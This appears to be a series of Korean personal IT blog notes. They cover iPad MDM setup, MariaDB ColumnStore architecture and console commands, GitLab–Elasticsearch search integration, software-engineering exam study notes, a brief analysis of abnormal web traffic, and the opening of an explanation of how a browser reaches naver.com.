mdm - 기기 컨트롤하는게 mdm

apple configurater2
ㄴabm에 등록하기 위한 수단

macosserver-profile manager

ㄴmdm 

아이패드를 apple configurater2 를 통해 ABM에 등록
ㄴ아이패드 초기화해야 함
ㄴ만약 아이패드에 애플 로그인 돼 있으면 아이디/패스워드 알아야 함

macos server 와 ABM 연동

macos server의 프로파일 매니져를 통해 아이패드 컨트롤 

유료 jampnow인지 뭔지 보다는 완벽한 컨트롤이 되진 않지만. 그래도 이정도면 나름 만족이다.

ios 기기 벽돌 방지도 성공했고
ios/osx 별로 기기그룹을 나눈뒤 프로파일 설치하여 VPN구성, wifi 구성, 기기별 설정, 패스워드 삭제, 패스워드 설정, 분실설정등이 가능해졌다.

이글은 마리아디비 공식 홈페이지에 있는 내용만을 참고하여서 오인입된 내용은 없을것같다.
영어에 익숙치 않고 columnstore가 뭔지 & 어떻게 사용하는지에 대해 알아보는 글이고, 알아보면서 한번에 이해되지 않는 용어들은 구글링해서 적어둠

1.mariadb columnstore란 

컬럼지향 스토리지 엔진이고(columnar storage)

대용량 병렬 분산 데이터 아키텍처를 사용(massively parallel distributed data architecture)
페타단위의처리를 위한 빅데이터 확장(big data scaling to process petabytes of data)
선형 확장성과 분석쿼리에 대한 실시간 응답을 통한 탁월한 성능(linear scalability and exceptional performance with real-time response to analytical queries)

한마디로 빅데이터 분석과 같은 MPP(대용량 병렬 분산 처리)용으로 설계된 columner 스토리지엔진이다.

2.architecture 

user모듈(UM), performance모듈(PM), storage로 구성

user module이란

프론트엔드로 작동한다. concurrency scaling(동시성확장? 동시에 실행되는 쿼리를 일관된 속도로 빠르게 처리하기 위해) 에 중점을 두고 있다. 
여기서 프론트엔드와 concurrency scaling 가 중요한듯 하다.
프론트엔드 : 엔드유저의 쿼리를 관리&제어한다. 허나 해당 쿼리를 실제로 처리하는건 퍼포먼스모듈임. 그래서 프론트엔드

concurrency scaling : 컬럼스토어엔진은 빅데이터 처리를 위한 엔진이기 때문에 concurrency scaling가 굉장히 중요하다. 그렇기 때문에 컬럼스토어에서는 여러개의 프로세스를 추가로 실행한다.

마지막으로 유저모듈에서 실행하는 프로세스들이 몇가지 있다. 마찬가지로 퍼포먼스 모듈에서도 몇가지 실행하는 프로세스들이 있는데 퍼포먼스 모듈 설명 말미에 스샷과 함께 설명할 예정

performance module이란

유저 모듈을 통해 받은 쿼리(데이터 저장 검색 관리등)를 처리하여 사용자 모듈로 다시 전달(셀렉쿼리 같은건 전달해야하고)해주거나 혹은 처리(인설트같은건 처리)하는 모듈

위 스크린샷처럼 각종 프로세스가 있다.
mysqld, exemgr, ddlproc,dmlproc는 유저모듈에서 실행하는 프로세스이고 나머지는 퍼포먼스 모듈에서 실행하는 프로세스다. 각각마다 기능이 있다. 예를들어 mysqld는 mariadb쿼리를 처리하기 위해 실행되는 프로세스로 쿼리 구문을 컬럼스토어가 처리할 수 있게 변환해준다. ddl/dml 은 각각 ddl/dml 처리하기 위한 프로세스일꺼고. 프로세스모니터는 procmon 등 자세히 알고 싶으면 공식독스 참고.(근데 굳이 이것까지 알아야 할 필요가 있나 싶다.)

storage란

3.query process는 ?

4.install & start & stop

5.트러블슛팅

local bulk load

각종 명령어

addDbroot MariaDB Columnstore 시스템에 DBRoot 디스크 스토리지 추가
addModule MariaDB Columnstore 시스템 내에 모듈 추가
alterSystem-disableModule 모듈 비활성화 및 MariaDB Columnstore 시스템 변경
alterSystem-enableModule 모듈 활성화 및 MariaDB Columnstore 시스템 변경
assignDbrootPmConfig 할당되지 않은 DBroot를 성능 모듈에 할당
assignElasticIPAddress 모듈에 Amazon Elastic IP 주소 할당
disableLog 프로세스 및 디버그 로깅 수준을 비활성화합니다.
disableMySQLReplication 시스템에서 MySQL 복제 기능 비활성화
enableLog 프로세스 및 디버그 로깅 수준을 활성화합니다.
enableMySQLReplication 시스템에서 MySQL 복제 기능 활성화
exit 콘솔 도구에서 나가기
findObjectFile 객체의 첫 번째 파일을 포함하는 디렉토리의 이름을 가져옵니다.
getActiveAlarms 활성 알람 목록 가져오기
getActiveSQLStatements 시스템 내 활성 SQL 문 목록 가져오기
getAlarmConfig 경보 구성 정보 가져오기
getAlarmHistory 시스템 알람 가져오기
getAlarmSummary 활성 경보의 요약 수 가져오기
getLogConfig 시스템 로그 파일 구성 가져오기
getModuleConfig 모듈 이름 구성 정보 가져오기
getModuleCpu 모듈 CPU 사용량 가져오기
getModuleCpuUsers CPU를 사용하는 모듈 상위 프로세스 가져오기
getModuleDisk 모듈 디스크 사용량 가져오기
getModuleHostNames 모듈 호스트 이름 목록 가져오기(NIC 1만 해당)
getModuleMemory 모듈 메모리 사용량 가져오기
getModuleMemoryUsers 메모리를 활용하는 모듈 상위 프로세스 가져오기
getModuleResourceUsage 모듈 리소스 사용량 가져오기
getModuleTypeConfig 모듈 유형 구성 정보 가져오기
getProcessConfig 프로세스 구성 정보 가져오기
getProcessStatus MariaDB Columnstore 프로세스 상태 가져오기
getSoftwareInfo MariaDB Columnstore 패키지 정보 가져오기
getStorageConfig 시스템 스토리지 구성 정보 가져오기
getStorageStatus 시스템 스토리지 상태 가져오기
getSystemCpu 모든 모듈의 시스템 CPU 사용량 가져오기
getSystemCpuUsers CPU를 사용하는 시스템 최상위 프로세스 가져오기
getSystemDirectories 시스템 설치 및 임시 로깅 디렉토리 가져오기
getSystemDisk 모든 모듈의 시스템 디스크 사용량 가져오기
getSystemInfo 전체 시스템 상태 가져오기
getSystemMemory 모든 모듈에서 시스템 메모리 사용량을 가져옵니다.
getSystemMemoryUsers 메모리를 활용하는 시스템 최상위 프로세스 가져오기
getSystemNetworkConfig 시스템 네트워크 구성 정보 가져오기
getSystemResourceUsage 모든 모듈에서 시스템 리소스 사용량 가져오기
getSystemStatus 시스템 및 모듈 상태 가져오기
help 콘솔 명령에 대한 도움말 보기
monitorAlarms 실시간 모드에서 경보 모니터링
movePmDbrootConfig 한 성능 모듈에서 다른 성능 모듈로 DBroot를 이동합니다.
종료 콘솔 도구에서 종료
redistributeData 디스크 사용량의 균형을 맞추기 위해 모든 dbroot에 걸쳐 테이블 데이터를 재배포합니다.
removeDbroot MariaDB Columnstore 시스템에서 DBRoot 디스크 스토리지 제거
removeModule MariaDB Columnstore 시스템 내에서 모듈 제거
resetAlarm 활성 경보를 재설정합니다.
restartSystem 중지되거나 종료된 MariaDB Columnstore 시스템을 다시 시작합니다.
resumeDatabaseWrites MariaDB Columnstore 데이터베이스에 대한 쓰기 수행 재개
setAlarmConfig 알람 구성 매개변수 설정
setModuleTypeConfig 모듈 유형 구성 매개변수 설정
setProcessConfig 프로세스 구성 매개변수 설정
shutdownSystem MariaDB Columnstore 시스템을 종료합니다.
startSystem 중지되거나 종료된 MariaDB Columnstore 시스템을 시작합니다.
stopSystem MariaDB Columnstore 시스템의 처리를 중지합니다.
suspendDatabaseWrites MariaDB Columnstore 데이터베이스에 대한 쓰기 수행을 일시 중단합니다.
switchParentOAMModule 활성 상위 OAM 모듈을 다른 성능 모듈로 전환합니다.
system 시스템 셸 명령을 실행합니다.
unassignDbrootPmConfig 성능 모듈에서 DBroot 할당 해제
unassignElasticIPAddress Amazon 탄력적 IP 주소 할당 해제

gitlab에서 프로그램내의 다중프로젝트의 코드 검색을 하기 위해서는 깃랩의 고급 검색기능을 사용해야 한다.
advanced search 사용을 위해서는 gitlab/elasticsearch 를 연동이 필요함

gitlab - elasticsearch intergration to use the advanced search(premium feature)

순서
1.설치전 주의사항등 확인

2.엘라스틱서치 설치

3.gitlab-엘라스틱서치 연동

위와 같이 진행

1.설치전 주의사항 등 확인

server1 - gitlab(docker containor)
server2 - elasticsearch(docker containor)

ㄴRunning Elasticsearch on the same server as GitLab is not recommended and will likely cause a degradation in GitLab instance performance.(깃랩 독스에 보는것처럼 동일 서버에의 설치는 성능저하가 있을 수 있으니 지양하라 적혀있다)

elasticsearch server Use SSD storage. You will need enough storage for 50% of the total size of your Git repositories.

2.엘라스틱서치 설치
엘라스틱서치 노드구성은 멀티노드로 셋팅한다.
ㄴ제공되는 도커 컴포즈가 멀티노드용으로 제공되기도 하고. 엘라스틱서치가 각 노드들의 사용처에 맞게 클러스터링 구성하여 운영하는게 좋기 때문에 멀티노드로 구성한다. 

www.elastic.co/guide/en/elasticsearch/reference/7.11/docker.html 참고

2-1 docker image pull

docker pull docker.elastic.co/elasticsearch/elasticsearch:7.11.0docker.elastic.co/elasticsearch/elasticsearch:7.11.0

2-2 writing docker-compose file

www.elastic.co/guide/en/elasticsearch/reference/7.11/docker.html#docker-compose-file 참고

ps.ES_JAVA_OPTS 옵션은 서버 메모리에 맞게 수정이 필요함 - 최소 4gb는 필요하지 않나 싶다. 디폴트가 512메가였는데 디폴트로하면 메모리부족으로 ES 다운된다. 4기가로 변경하니 잘 돌아감(프로젝트 용량 약 80기가)

2-3 포트는 9200, 9300 사용하니까 서버에서 사용되고 있는지 아닌지 체크 필요.

2-4 볼륨방식이 아닌 바인드 방식으로 마운트 하고자 할 경우는 아래와같이 수정하면 된다.

volumes:
  data01:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es01_data'
  data02:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es02_data'
  data03:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es03_data'

3.gitlab-엘라스틱서치 연동(인덱서 설치)
3-1. 깃랩 인덱서 설치

11.8버전 이상의 깃랩은 전부 옴니버스 깃랩이라고 설치한 깃랩내에 패키지로 다 들어가 있다.따라서 깃랩 버전이 11.8 이상이라면 3-2로 가면 됨

나도 11.8 이상(13.0이였음)이라서 인덱서 따로 설치하지 않았다.(설치방법은
docs.gitlab.com/ee/////integration/elasticsearch.html#from-source 참고)

3-2.깃랩  > 엘라스틱으로 아이피 연동 
admin area > settings > intergration > elasticsearch 에서 아이피 설정(다른건 아직 안해도 됨)

3-3. gitlab-rake gitlab:elastic:create_empty_index 입력
ㄴ인덱싱. 용량크면 시간 좀 소요됨 

3-4. 인덱싱 완료후 깃랩 설정 페이지(admin area > settings > intergration > elasticsearch) 에서 고급검색기능 사용하기 체크하여 사용하면 된다.


기타,

   16  gitlab-rake gitlab:elastic:index_projects_status
ㄴ프로젝트가 전부 인덱싱 됐는지 체크하는 명령어 . 당연히 깃랩 서버에서 실행
   17  gitlab-rake gitlab:check
깃랩 이상있는지 체크하는 명령어. 입력해서 빨간거 나오면 그에 맞춰서 수정 필요

gitlab-elasticsearch intergration docs : docs.gitlab.com/ee/integration/elasticsearch.html

ㄴversion/system requirements check , Enabling Advanced Search
elasticsearch install(docker) docs : www.elastic.co/guide/en/elasticsearch/reference/7.x/docker.html

elasticsearch licence setting docs : www.elastic.co/guide/en/elasticsearch/reference/7.x/license-settings.html

1 소프트웨어 분류 및 특성

시스템의 기본요소 : 입력(input), 출력(output), 처리(process), 제어(control), 피드백(feedback)

플랫폼의 성능 특성 분석 항목 : 가용성(availability), 응답 시간(response time), 정확성(accuracy), 사용률(utilization)

소프트웨어 프레임워크의 특징 : 모듈화(modularity), 재사용성(reusability), 확장성(Extensibility), 제어의 역 흐름(inversion of control)

##플랫폼과 프레임워크의 차이 : 플랫폼은 서비스제공자&사용자 모두 동시에 운영 / 프레임워크는 서비스 제공자는 제공만(사용자가 뭘 하든 관여하지 않음), 사용자는 사용

프레임워크의 기대 효과 : 개발 용이성, 품질 보증, 변경 용이성, 유지보수, 재사용성, 상호 운용성

기업용 소프트웨어 : 오피스웨어, ERP(enterprise resource planning), SCM(supply chain management), BI(business intelligence), CRM(customer relationship management)

컴포넌트 : 라이브러리의 집합, 독립적으로 사용 가능

컴포넌트 설계시 협약(contract)에 의한 설계를 따를 경우의 조건 : 사용전 참이 되어야 할 선행조건 / 사용후 만족할 결과 조건 / 실행되는동안 항상 만족 되어야 할 불변조건

소프트웨어 공학의 기본 원칙 : 현대적인 프로그래밍 기술 적용 / 지속적인 검증 / 결과에 관한 기록 유지 / 품질 높은 소프트웨어 개발

1-2) 소프트웨어 개발 방법론

운영체제의 종류 : 윈도우, 유닉스, 리눅스, iOS, 안드로이드

운영체제 분석시 고려사항 : 신뢰도(수명), 성능, 기술 지원, 주변기기 지원 여부, 구축 비용

CISC(complex instruction set computer)와 RISC(reduced instruction set computer)의 차이
ㄴCISC : 복잡 / 가변길이의 많은 종류의 명령어(100~250개) / 소프트웨어적 제어방식의 호환성의 좋음 / 속도느림 / CPU에 사용 / 명령어 해석후 실행(컴파일)
ㄴRISC : 간단 / 고정길이의 적은 종류의 명령어 / 하드웨어적 제어방식 호환성 떨어짐 / 속도빠름 / GPU에 사용

DBMS 분석시 고려사항 : 가용성, 성능, 기술 지원, 상호 호환성, 구축 비용

미들웨어의 종류
ㄴDBMS(데이터 베이스 / database management system)
ㄴRPC(원격 / Remote procedure call)
ㄴMOM(메세지 전달 / Message Oriented Middleware)
ㄴTP-Monitor(트랜잭션 모니터링)
ㄴORB(객체 지향 / Object Request Broker)
ㄴWAS(웹서비스 / Web application server)

WAS : DB 접속등의 동적 데이터 처리(이미지등의 정적 데이터는 웹서버가 처리), 데이터접근&세션&트랜잭션 관리

WAS의 종류 ##제공하는 회사랑 특징 하나씩##
ㄴGlassfish : glassfish에서 제공, netbeans 개발툴과 연동시

ㄴJBoss : 레드햇, jboss에서 제공, 오픈소스 이용시
ㄴjetty : 이클립스에서 제공, 빠른 처리 속도

ㄴjeus : 티맥스제공, 기술지원

ㄴresin : caucho 제공, 빠른처리속도

ㄴWeblogic : 오라클제공, 대량의 안정적인 거래 처리

ㄴWebsphere :  IBM 제공, 대량의 안정적인 거래 처리

WAS 분석시 고려사항 : 가용성, 성능, 기술 지원, 구축 비용

소프트웨어 개발 방법론
ㄴ구조적 방법론(1970년도) : 프로그램을 구분하여 개발(모듈화)한 후 조립하듯이 개발하는 방법, 이해쉬움, 문서화, 프로세스 중심, 재사용성&유지보수성이 낮음
ㄴ정보공학 방법론(1980년도) : 정보 시스템 개발에 필요한 절차와 기법을 체계화한 방법, 생명주기를 이용해 대형 프로젝트 수행, 데이터 중심, 재사용성 낮음, 기능별로 유지보수 필요

ㄴ객체지향 방법론(1990년도) : 데이터&관련되는 동작을 포함하는 방법, 정보시스템&데이터베이스 설계, 객체지향기법, 캡슐화&추상화 기술 필요, 재사용성 높음
ㄴ컴포넌트 기반 방법론 : 소프트웨어 위기를 극복하기 위한 방법론으로 상용화 돼 있거나 재사용이 가능한 컴포넌트를 조합해서 새로운 애플리케이션을 작성하는 방법론, 공공 행정 정보 시스템 개발에 많이 활용, 개발비용 저렴하고 유지보수 비용 낮음, 반복적&점진적으로 개발, 테스트 환경 미흡
ㄴ애자일 방법론(2000년 이후)
[요구사항 > 설계 > 구현 > 시험]단계를 통해 개발
고객의 지속적인 요구사항에 신속하게 대처(출시 주기 짧음)하기 위한 방법론으로 개발 과정의 소통&협력을 중요시하고 극대화한다
계획이 없거나 혹은 계획이 너무 많은 방법론 사이에서 타협점을 찾은 방법론
가볍고 실용적이며 인간의 수행능력을 높이기 위한 현실적인 방법론
소프트웨어를 점증적으로 개발

기존모형(폭포수(watarfall), 프로토타입, 나선형(spiral)으로 추후에 나옴)의 문제점을 보완

애자일 선언문 : 개인과 상호 작용을 프로세스와 도구보다 중시 / 동작하는 소프트웨어를 포괄적인 문서보다 중시 / 고객과의 협력을 계약의 협상보다 중시 / 변화의 대응을 계획의 수행보다 중시

애자일 방법론의 원칙 : 소통, 협력, 적응, 지속, 가치 전달, 피드백

애자일 방법론의 5가지 가치 : 의사소통, 용기, 피드백, 단순함, 존경

애자일 방법론의 종류
ㄴXP(익스트림 프로그램) : 애자일의 대표적인 방법
ㄴscrum(스크럼) : 매일 정해진 시간과 장소에서 단기간에 개발하는 방법, 5가지 가치(확약,전념,정직,존중,용기) 추구한다.
4가지요소(백로그, 스프린트 , 미팅, 스크럼 마스터)가 있다.## youtu.be/oS5lQi72OVM 설명 잘 돼 있음

ㄴLean(린) : 개발 프로세스의 낭비적인 부분을 제거한 방법으로 7가지 원칙(낭비요소 제거, 품질 내재화, 지식 창출, 가능한 늦게 결정, 가능한 빠르게 인도, 사람 존중, 전체 공정 최적화)이 잇다.

테일러링 개발 방법론
ㄴ서로 다른 개발 환경에서 개발되는 다양한 종류의 프로젝트를 하나의 일관된 개발 방법론으로 적용하기 위해 등장. 프로젝트 여건에 맞게 수정&보완하는 융통성있는 방법론

ㄴ가장 중요시하는 부분은 프로젝트 분석으로 프로젝트의 다양한 특성을 분석하여 쉽게 해결하고 진행이 용이하도록 해야 함

보안 개발 방법론
ㄴMS-SDL(마이크로소프트 시큐어 디벨롭 라이프사이클) : MS사에서 수립한 SDLC(소프트웨어 디벨롭 라이프 사이클)
ㄴSeven touchpoints : 소프트웨어 보안의 모범사례(실무적으로 검증)를 SDLC에 통합한 보안 방법론, 7가지 체크 포인트가 있음

ㄴCLASP : 개발 초기 단계에서 보안 강화를 위한 활동 중심 역할 기반의 정형화된 프로세스, 이미 운영중인 시스템에 적용하기 용이함

ㄴCWE : 보안 취약점을 유발하는 원인을 7가지로 정리한 방법론

1-3) 프로젝트 관리 및 생명주기 모형

프로젝트의 곤리 : 일정 관리, 예산 관리, 인력 관리, 위험 관리, 품질 관리

프로젝트 관리의 3P : 사람(People), 문제(Problem), 프로세스(Process)

프로젝트 계획 수립 목적 : 범위, 자원, 비용측정을 통하여 위험성을 최소화

프로젝트 범위(영역, Range, scpoe) 측정 요소 : 처리기능, 성능, 제한 조건, 개발 인원, 일정 계획

개발자팀의 구성 방법
ㄴ책임 프로그래머 팀 : 1인 독재 체제.  한명(책임(chief)프로그래머 :  요구분석 설계, 판단, 작업지시 배분)을 3명(backup : chief 보좌, 기술자문, chief감도하에 분석 설계 구현 / programer : 코드작성&디버깅&문서작성 / librarian : 문서관리)이 보조.
ㄴ민주주의식 팀 : 책임 프로그래머팀이랑 반대되는 특징이 있음
ㄴ혼합형팀

위험 관리 순서 : 위험 식별, 위험 분석 및 평가, 위험 관리 계획, 위험 감시 및 조치

비용 측정 요소
ㄴ직접 측정 요소 : 인월(사람인, 달월. 한사람이 한달 작업량), 비용, LOC(Line Of Code), 투입 인원 등 바로 측정이 가능한 요소
ㄴ간접 측정 요소 : 생산성, 품질, 기능점수(FP),문서화 비율 등 비교 대상이 있어야 측정 가능한 요소

비용측정의 원칙
ㄴ비용 측정은 최대한 늦게 : 최대한 마지막에 할 수록 놓치는 부분이 없다.
ㄴ분해 기술 이용 : 기능별로 최대한 분리해서 각각 비용 측정후 더해서 전체비용을 측정해야 함
ㄴ실험적 비용 측정 모델 이용 : 사전에 개발된 소프트웨어 비용 참고
ㄴ자동화 도구 이용 : SLIM과 같은 비용 측정 프로그램 이용

개발 비용과 개발 기간은 반비례 : 개발 기간 짧으면 비용 증가, 개발기간 증가하면 비용 감소

비용 측정 방법론의 종류
ㄴ전문가 측정 : 개발 비용을 전문적으로 측정하는 사람에게 의뢰
ㄴ델파이(delphi) 측정 : 1.여러 전문가에게 의뢰 > 2.전문가는 비용 제출 > 3.비용을 전체 공개 > 1~3 반복하여 평균치를 최종 비용으로 결정

ㄴLOC 측정 : 소프트웨어 기능별(입력, 출력, 처리)로 나눠서 [낙관치 + ( 4 * 기대치) + 비관치 / 6 = 예측치] 공식 사용

ㄴ단계별 인월 측정 : LOC 측정의 단점을 보완한 방법으로 라인수 대신 기능별 중요도에 따른 인월수로 계산

ㄴWaslston 측정 : 미국의 60개 개발업체에서 자료 수집하여 만든 공식으로 단점이 많음 

ㄴCOCOMO 모형 : Walston 측정의 단점을 보완하여 소프트웨어의 규모에 따라 3가지로 분류.
유기형(organc) : 5만라인 이하의 중소 규모 비즈니스 처리용
준 분리형(semi-detached) : 30만 라인 이하의 데이터베이스 관리 시스템
내재형(embedded) : 최대형 규모

ㄴPutnam 모형 : 대형 프로젝트에서 이용되는 기법, Rayleigh-norden 곡선의 노력 분포도 곡선 이용, SLIM이 Putnam 모형을 기초로 함

ㄴ기능 점수 모형 : 국제 표준. 개발자가 아닌 사용자 관점의 5가지(입력, 출력, 사용자 명령어, 데이터 파일, 인터페이스)의 갯수를 산정 요소로 사용

형상 관리 : 개발과정에서 산출물의 변경사항을 버전관리하기 위한 일련의 활동으로으로 비용은 관리 항목이 아님, 절차 : 형상 식별 > 변경 제어 > 형상 상태 보고 > 형상 감사

비용은 형상관리 항목이 아님

소프트웨어 개발의 생명 주기 모형
ㄴ폭포수(워터폴) 모형 : 많이 사용된 오래된 전통 기법, 단계별&순차적 작업, 현작업이 제대로 완료되야만 다음으로 넘어감, 단계별 무서화 작업 필요, 새로운 요구를 반영하기 어려움, 고객의 만족도는 결과물이 나와야만 확인 가능

ㄴ프로토타입 모형 : 고객의 요구에 맞게 빠르게 프로토타입 구축 후 고객의 요구사항에 맞게 다시 설계하는 방식, 요구사항의 변경이 용이, 요구사항이 불명혹한 경우 적용하기 좋음, 최종 결과물에 대한 예측 가능한 모형. 요구사항 관리가 중점

ㄴ나선형 모형 : 계획 수립 > 위험 분석 > 개발 및 검증 > 고객 평가 > 계획 수립... 반복, 위험 관리가 중점, 폭포수 모형과 프로토타입 모형의 장점을 살림. 대규모 시스템 개발에 용이

ㄴV 모형 : 검증을 강조한 기법. 오류 발생시 각 단계별로 매칭되는 단계로 돌아가서 다시 작업, 높은 신뢰성을 필요로 하는 의료 제어 시스템 개발에 용의

품질 관리 모델 종류
ㄴISO 12207 표준 : 개발 프로세스를 정의하고 향상시키기 위한 프로세스로 기본공정 / 지원공정 / 조직공정으로 구성

ㄴISO/IEC 품질 특성 : 기능성(Function), 신뢰성(reliable), 사용성(usable), 효율성(efficiency), 유지보수성(maintain), 이식성(portable)
각 특성별로 하위 특성이 있는데 그중 준수성은 신뢰성을 제외한 모든 특성의 하위 특성임
ㄴCMM : 소프트웨어 개발과 유지보수에 대한 프로세스 개선과 능력 향상을 위한 실용화된 모델
5가지 단계[초기 > 반복 > 정의 > 관리 > 최적] 와 5가지 Level별[1:혼돈 / 2:경험 / 3:정성 / 4:정량 / 5:최적]관리 평가 기준이 있음
ㄴSPICE 모델 : 소프트웨어의 품질 및 생산성 향상을 위해 프로세스를 평가 및 개선하는 모델
6가지 단계[불안정 > 수행 > 관리 > 확립 > 예측 > 최적화]로 구분

ㄴCMMI : CMM의 후속모델로 4가지 관리 영역(프로세스 / 프로젝트 / 엔지니어링 / 지원)으로 나눔

요구사항 개발 프로세스 : 도출 > 분석 > 명세 > 확인

자료 흐름도(DFD)표기법

외부 입출력(terminal) : 네모 / 처리 과정(process) : 동그라미 / 자료 흐름(data-flow) : 화살표 / 자료 저장소(data-store) : 작대기 두줄

자료 사전(DD)의 표기법
정의 : =
연결 : +

선택 : [ | ]

반복 : {}n

생략 : ()

설명 : **

요구사항 분석 자동화 도구(CASE)
ㄴSADT : softect사에서 개발된 대규모 프로젝트용 분석 자동화 도구, 요구분석과 설계 분석, 설계 명서세를 동시에 표현, 블록 다이어그램을 채택
ㄴBS : 사용자의 의견을 듣는 개발자의 자세 및 규칙, 비판금지&자유분방&다수환영&연쇄개선

ㄴPSL/PSA : 미시간 대학의 ISDOS 프로젝트에서 개발된 자동화 도구,PSL 언어로 작성&PSA로 DB에 저장-분석

ㄴSREM,RSL/REVS : TRW사에서 개발

요구사항의 기술적 타당성 검토
ㄴ성능 및 용량 산정 적정성 > 시스템 간 상호 운용성 > IT시장 성숙도 및 트렌드 부합성 > 기술적 위험 분석(복잡성&검증여부&의존성)

에플리케이션 설계
모듈의 5가지 기본요소 : 입력, 출력, 기능, 기관, 내부자료 요소

모듈의 공유도(Fan-in)와 제어도(Fan-out)
ㄴ공유도 : 상위 모듈의 수, 공유도가 높을 경우 해당 클래스를 사용하는 클래스의 수가 많다는것을 의미

ㄴ제어도 : 하위 모듈의 수, 제어도가 높을 경우 하나의 모듈이 많은 수의 다른 모듈을 사용한다는것을 의미

공통 모듈의 원칙 : 정확성(correctness), 명확성(clarity), 완전성(completeness), 일관성(consistency), 추적성(traceability)

모듈 결합도(결합도가 낮을 수록 높은 품질) : 자료 결합도 > 스탬프 결합도 > 제어 결합도 > 외부 결합도 > 공통 결합도 > 내용 결합도
ㄴ자료 결합도(data) : call by value 가장 좋음, 두 모듈간의 인터페이스가 자료 요소만으로 구성된 결합, 모듈간 인터페이스로 전달되는 파라미터를 통해서만 상호 작용이 일어남
ㄴ스탬프 결합도(stamp) : 두 모듈간 동일한 자료 구조를 조회하는 경우의 결합성,객체나 구조적인 데이터등이 전달
ㄴ제어 결합도(control) : 처리하는 방법을 제어 요소로 전달되는 경우로 모듈간에는 제어변수로 종속적인 관계를 갖음
ㄴ외부 결합도(extern) : 외부 변수에 의해 영향을 받는 경우, 
ㄴ공통 결합도(common) : 모듈이 다른 모듈의 내부 자료를 참조하는 경우 call by reference
ㄴ내용 결합도(content) : 다른 모듈의 내부 기능 및 자료를 참조하는 형태, 가장 안좋음

모듈 응집도(응집도가 낮을수록 낮은 품질) : 우연적 > 논리적 > 시간적 > 절차적 > 통신적 > 순차적 > 기능적
ㄴ우연적(coincidental) : 어떤 의미 있는 연도 없고 관계 없이 묶인 가장 안좋은 응집도

ㄴ논리적(logical) : 모듈 내부의 루틴들이 같은 범주에 속하는 기능끼리 묶인 경우

ㄴ시간적(temporal) : 시간적으로 수행시기가 같은 기능끼리 묶인 모듈

ㄴ절차적(procedure) : 수행 시기의 순위가 있는 기능끼리 묶인 모듈,순차적으로 수행하는 경우

ㄴ통신적commucation) : 작업 대상이 같은 기능끼리 묶인 모듈

ㄴ순차적(sequetial) : 구성요소들이 이전의 명령어로부터 나온 결과를 다음 명령어의 입력자료로 사용하는 경우

ㄴ기능적(function) : 모듈내부가 하나의 단일 기능으로 존재, 프로그래밍 언어의 라이브러리같은 것

트래픽이 많이 발생한 이유는 굉장히 여러가지가 있겠지만

일단 정상트래픽이냐 / 비정상트래픽이냐를 확인 해봐야 할 듯 싶습니다.

평소에는 10~20Mbps 인데 특정시간에 100Mbps까지 치솟았다.

sflow에서 확인시

서버의 80포트에서 외부로 다량의 트래픽 발생하였다.

딱 봐도 같은 대역의 여러 아이피에서 트래픽이 발생된거보면 비정상 트래픽이다. 아이피 확인해보면 역시나 해외 아이피.

이제보니 서버의 어세스로그가 꺼져있다... 로그 분석까지 해서 올리고자 했으나....
음.. 경험상으로 볼 때 해당 아이피들로 어세스로그 분석해보면 캡챠등의 스팸개시글 등록 방지 기능이 없는 게시판에 무작위로 비아그라같은 스팸 게시글이 올라가 있는 경우가 있었다. 기억나는게 이거 말고는 .. 

조치방법으로는 앞서 말한것처럼 캡챠등의 스팸방지 기능을 넣어주던가 해외아이피를 차단하던가(해외와 통신 없을경우)

위 질문을 친한 후배가 물어봐서 정리해봐야겠습니다.

IT 면접시 자주 나온다고하는 naver.com 혹은 google.com 등을 접속할 경우 어떤 경로를 통해 어떤 프로세스를 통해 어떤 동작원리로 접속이 될까요" 라는 질문이 면접관분들께서 적잖게 하시는것 같습니다. 

어떤 분야던 지원자가 아는 범위를 설명하기에 지원자의 수준?역량?을 파악하기에 좋은 질문이라고 합니다.

PS.
DNS영역이든 http/https 프로토콜 영역등등 앞서 말씀드린것처럼 개발자/네트웤/서버등 디테일한부분은 다루는데 한계가 있기에 빠진부분이 있다면 코멘트 남겨주실 경우 정말 감사하겠습니다.

각설하고 PC에 크롬을 실행하고 naver.com 을 타이핑할 경우 크게 PC > 네트워크 > 서버 > 네트워크 > PC 일 것 같다.

논리적 플로우 : 브라우저 > PC 설정 > DNS > TCP > 서버 설정 
물리적 플로우 : PC > 허브 > PC가 속해있는 ISP 네트워크 > 서버가 속해있는 ISP 네트워크 > naver 백본 > naver 스위치 > naver 홈페이지 접속에 필요한 서버들 

1.브라우저 크롬 실행
1-1.크롬 브라우저 실행, 크롬 브라우저 실행에 필요한 프로세스(브라우저, 렌더러, 플러그인, GPU)가 실행되고 OS에서 프로세스가 작업 할 메모리 할당, 그에 따른 프로세스별 쓰레드 실행
크롬의 경우(브라우저마다 다름)프로세스 모델이 4가지(process per site instance / process per site / process per tab / single porcess)가 있다. 그중 프로세스 퍼 탭(탭마다 프로세스를 할당)했으나 작년초(2019년)부터는 프로세스 퍼 사이트(사이트마다 프로세스)를 할당한다. ###사이트 별 프로세스라면 사이트 하나가 응답이 없을 경우 다른 탭의 동일 사이트도 응답이 없을것이고 탭 별 프로세스라면 하나의 탭의 사이트가 응답이 없더라도 다른 탭의 사이트는 응답 가능
참고로 process per site instance(사이트 별 프로세스)와 process per site(사이트 당 프로세스) 가 살짝 헷갈릴 수 있는데 예를들어 naver.com에 두개 접속할 경우 process per site instance는 두개의 프로세스가 실행되고 process per site 는 1개의 프로세스가 실행된다.

각 모델별 설명 및 장단점은www.chromium.org/developers/design-documents/process-models 참고

2.URL 입력 > URL 문법에 맞는지 확인(ko.wikipedia.org/wiki/URL#cite_note-3)

https://naver.com 이 정확한 문법이다. 허나 naver.com 으로 접속해도 정상적으로 접속이 된다. 이는 각 브라우저의 아키텍쳐가 기본적으로 http://&https://(hsts에따라)에 접속되도록 설정이 돼 있기 때문
만약 문법이 맞지 않다면, 예를들어 네이버 라던가 녹색엔진등으로 접속시 브라우저 프로세스의 UI 스레드가 검색엔진으로 검색 진행 - 이 과정에서 dns lookup이 진행되기도 한다.

ps.여기서 검색어를 입력하고 엔터까지 안하고 입력만으로 검색어인지, URL인지 UI 스레드가 판단

3.URL 엔터 > 브라우저 프로세스의 UI 스레드가 네트워크 스레드 호출
먼저 브라우저에 도메인이 캐싱돼있는지 확인, 없을 경우 PC의 hosts 파일에 도메인 명시 돼 있는지 확인. 없다면 최종적으로  dns lookup 진행

